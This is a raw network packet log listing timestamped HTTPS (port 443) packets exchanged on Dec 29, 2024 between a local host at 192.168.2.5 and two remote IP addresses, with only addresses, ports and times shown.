Dec 29, 2024 14:15:35.825305939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.829004049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.829021931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.829133987 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.829144955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.829200029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.831943989 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.831959963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.832000017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.832011938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.832070112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.832304001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.836046934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.836078882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.836173058 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.836189032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.836899996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.839071035 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.839095116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.839133024 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.839142084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:35.839212894 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:35.839212894 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.015957117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.015979052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.016082048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.016123056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.016545057 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.019889116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.019905090 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.019962072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.019970894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.020004034 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.020023108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.023008108 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.023025036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.023111105 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.023128986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.023217916 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.026861906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.026880026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.026968956 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.026977062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.027036905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.030133963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.030148029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.030213118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.030221939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.030522108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.033751011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.033766031 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.033830881 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.033838034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.034984112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.037718058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.037734985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.037802935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.037811041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.038005114 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.040869951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.040889025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.040944099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.040952921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.040977955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.040999889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.173899889 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:36.174040079 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:36.179339886 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:36.179361105 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:36.179593086 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:36.217588902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.217612982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.217699051 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.217730999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.218584061 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.221477985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.221493006 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.221561909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.221570969 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.221718073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.224616051 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.224630117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.224682093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.224689960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.224728107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.224750996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.226233006 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:36.227293968 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:36.228557110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.228573084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.228653908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.228662014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.231688023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.232253075 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.232266903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.232327938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.232336044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.235389948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.235409021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.235454082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.235461950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.235483885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.235517979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.239296913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.239324093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.239382982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.239391088 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.239422083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.239437103 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.242522001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.242537022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.242598057 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.242604971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.243685007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.271342039 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:36.419431925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.419460058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.419624090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.419646978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.420043945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.422528982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.422544003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.422611952 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.422619104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.422710896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.426507950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.426522970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.426584959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.426592112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.426688910 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.429626942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.429642916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.429728985 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.429734945 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.431709051 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.433624983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.433641911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.433718920 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.433726072 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.435700893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.437184095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.437199116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.437258959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.437267065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.437922001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.440408945 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.440427065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.440531015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.440541029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.440587997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.443576097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.443592072 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.443661928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.443669081 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.443927050 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.620918036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.620943069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.621119976 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.621154070 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.621396065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.624850988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.624870062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.624952078 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.624958992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.625014067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.627952099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.627969027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.628060102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.628068924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.628122091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.631906033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.631922960 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.632015944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.632025957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.632225037 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.635123014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.635139942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.635222912 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.635231972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.635425091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.638715982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.638731956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.638835907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.638844967 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.638904095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.641900063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.641922951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.641994953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.642002106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.642098904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.645802021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.645821095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.645905018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.645912886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.645950079 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.822037935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.822065115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.822324038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.822345972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.822397947 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.825915098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.825931072 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.826025009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.826031923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.827711105 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.829070091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.829083920 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.829163074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.829171896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.830643892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.833003044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.833019018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.833100080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.833121061 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.835625887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.836206913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.836220980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.836282969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.836298943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.838685036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.839881897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.839896917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.839967012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.839983940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.840024948 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.843812943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.843827963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.843900919 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.843923092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.847114086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.847165108 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.847187996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.847210884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:36.847237110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:36.847260952 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.024730921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.024755001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.024873972 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.024904966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.025182962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.027885914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.027903080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.028007030 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.028032064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.028100014 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.031702042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.031717062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.031791925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.031816959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.031888962 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.034456968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.034476042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.034538031 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.034559965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.034636021 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.037570000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.037585020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.037666082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.037689924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.037817955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.038203001 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038239956 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038278103 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038297892 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038333893 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038367987 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.038367987 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.038367987 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.038367987 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.038402081 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.038434029 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.038465023 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.041289091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.041302919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.041377068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.041400909 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.041475058 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.045181036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.045197010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.045268059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.045294046 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.045352936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.048425913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.048439980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.048531055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.048562050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.048624039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.228174925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.228199005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.228296041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.228328943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.228575945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.231537104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.231566906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.231610060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.231635094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.231652021 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.231679916 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.235394955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.235414982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.235470057 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.235496044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.235563040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.238559961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.238574982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.238656998 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.238681078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.238734961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.242289066 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.242305994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.242364883 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.242389917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.242434978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.246088982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.246109009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.246179104 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.246203899 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.246251106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.248395920 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.248414993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.248456001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.248478889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.248497963 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.248528957 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.250268936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.250288963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.250369072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.250394106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:37.250443935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:37.257273912 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.257286072 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.257333040 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.257358074 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.257388115 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.257409096 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.257431984 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.265631914 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.265722990 CET	49866	443	192.168.2.5	104.102.49.254
Dec 29, 2024 14:15:37.265737057 CET	443	49866	104.102.49.254	192.168.2.5
Dec 29, 2024 14:15:37.265786886 CET	49866	443	192.168.2.5	104.102.49.254
